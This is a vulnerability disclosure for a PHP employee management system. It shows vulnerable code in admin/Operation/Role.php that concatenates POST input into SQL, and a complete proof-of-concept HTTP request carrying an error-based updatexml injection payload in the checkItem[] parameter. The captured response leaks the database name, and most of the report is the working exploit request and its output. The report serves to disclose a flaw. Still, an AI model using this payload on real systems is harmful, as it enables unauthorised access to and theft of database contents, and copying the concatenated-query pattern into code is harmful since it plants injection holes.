

Best employee management system in php - insert SQL injection

environment

insert SQL injection

environment

<https://www.sourcecodester.com/php/17689/best-employee-management-system-php.html>

insert SQL injection

In `admin/Operation/Role.php`, it is found that the SQL statement splicing `$checkItem[$i]` is directly executed, and `$checkItem[$i]` is obtained from `$_POST["checkItem"]`.

▼

PHP |

```
1  "insert into permission_role(permission_id,group_id)values('$checkItem[$i]
    ','$id')";
```

```
php Role.php x console
39      <p>Record Successfully Added</p>
40      <p>
41          <?php echo "<script>setTimeout(\"location.href = '../View_Role.php';\",1500);</script>"; ?>
42      </p>
43  </div>
44  </div>
45  </div>
46  </div>
47
48  <?php
49
50  }
51  if (isset($_POST['btn_edit'])) {
52      // $id=$_GET['id'];
53      // echo "string";
54      extract( &array: $_POST);
55      // echo "delete from permission_role where group_id='" . $_POST['id'] . "'</p>";
56      $stmt = $conn->prepare( query: "delete from permission_role where group_id='" . $_POST['id'] . "'");
57      $stmt->execute();
58
59      $stmt = $conn->prepare( query: "UPDATE groups set name='$assign_name',description='$description' where id='"
60      . $_POST['id'] . "'");
61      $stmt->execute();
```

Log in to the background and access the following data packet. Replace the Cookie with the one after logging in.

```
▼ payload HTTP
1  POST /admin/Operation/Role.php HTTP/1.1
2  Host: 10.211.55.4:8888
3  Accept-Language: zh-CN,zh;q=0.9
4  Upgrade-Insecure-Requests: 1
5  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
6  (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
7  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,i
8  mage/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9  Referer: http://10.211.55.4:8888/assets/app/auth.php
10 Accept-Encoding: gzip, deflate, br
11 Cookie: PHPSESSID=uragov0u7b81v5us8s6vqgif40
12 Connection: keep-alive
13 Content-Type: application/x-www-form-urlencoded
14 Content-Length: 104
15
16 btn_edit=1&id=1&checkItem[]=1'+or+updatexml(1,concat(0x7e,database()),0x7e,
17 user(),0x7e,@@datadir),1)+or+'
```

Pretty	Raw	Hex	Hackvortor	Chinese	Pretty	Raw	Hex	Render	Hackvortor	Chinese	Requ
1	POST /admin/Operation/Role.php HTTP/1.1				1	HTTP/1.1 200 OK					Requ
2	Host: 10.211.55.4:8888				2	Host: 10.211.55.4:8888					Requ
3	Accept-Language: zh-CN,zh;q=0.9				3	Date: Mon, 04 Nov 2024 16:23:25 +0800					Requ
4	Upgrade-Insecure-Requests: 1				4	Connection: close					Requ
5	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36				5	X-Powered-By: PHP/7.3.4					Requ
6	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7				6	Expires: Thu, 19 Nov 1981 08:52:00 GMT					Requ
7	Referer: http://10.211.55.4:8888/assets/app/auth.php				7	Cache-Control: no-store, no-cache, must-revalidate					Requ
8	Accept-Encoding: gzip, deflate, br				8	Pragma: no-cache					Requ
9	Cookie: PHPSESSID=uragov0u7b81v5us8s6vqgif40				9	Content-type: text/html; charset=UTF-8					Requ
10	Connection: keep-alive				10						Respx
11	Content-Type: application/x-www-form-urlencoded				11	<link rel="stylesheet" href="popup_style.css">					
12	Content-Length: 104				12						
13					13						
14	btn_edit=1&id=1&checkItem[]= '+or+updatexml(1,concat(0x7e, database()),0x7e, user(),0x7e, @@datadir),1)+or+'				14	Connection failed: SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '~u650628273_hr_soft~u650628273_h'					